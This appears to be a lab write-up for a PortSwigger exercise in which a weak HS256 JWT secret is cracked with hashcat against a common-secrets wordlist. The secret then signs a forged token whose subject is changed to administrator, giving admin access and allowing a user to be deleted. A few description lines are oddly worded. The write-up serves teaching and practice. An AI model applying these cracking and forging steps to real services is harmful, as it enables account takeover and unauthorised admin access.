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# JWT Authentication Bypass with a Weak Key
JWT Authentication Bypass with a Weak Key notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### JWT Authentication Bypass via Weak Signing Key
**Description of lab**
This lab uses a JWT-based session mechanism. / The secret key used to **sign and check tokens is extremely low**, allowing the **shrink easily** by using a list of common secrets.
Objective:
* Find the secret key used by the server. \*Forging a valid JWT with this key to access the `/admin` administration panel.
* Delete user **carlos**.
Provided credentials\:/ `wiener:peter`
\*\* Initial JWT recovered\*\*
{% code overflow="wrap" %}
```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```
{% endcode %}
It is observed that the algorithm used is **HS256**, thus a **symmetric algorithm** based on a shared secret.
**Bruteforce secret key**
We use a list of common JWT secrets:
```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```
Then launch the attack by brute force with **hashcat**:
```bash
hashcat -a 0 jwt jwt.secrets.list
```
Outcome:
* Secret key found: **`secret1`**
**Key preparation for signature**
The **JWT Editor** extension awaits the key in Base64 format.
Key encoding:
```bash
c2VjcmV0MQ==
```
Creating a symmetrical key in JWT Editor:
```json
{
"kty": "oct",
"kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
"k": "c2VjcmV0MQ=="
}
```
A key ID (`kid`) is then generated and used to sign the token.
**JWT Modification**
* Interception of the request containing JWT.
* Change the `sub` field:
* `wiener` → `administrator`
Token re-signature with secret key found
Final forged JWT:
```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```
**Result**
* The server accepts the JWT signed with the weak key.
* Successful access to `/admin` panel.
* The user is recognized as \*\* administrator\*\*.
* The lab is validated after removal of the user **carlos**.
---
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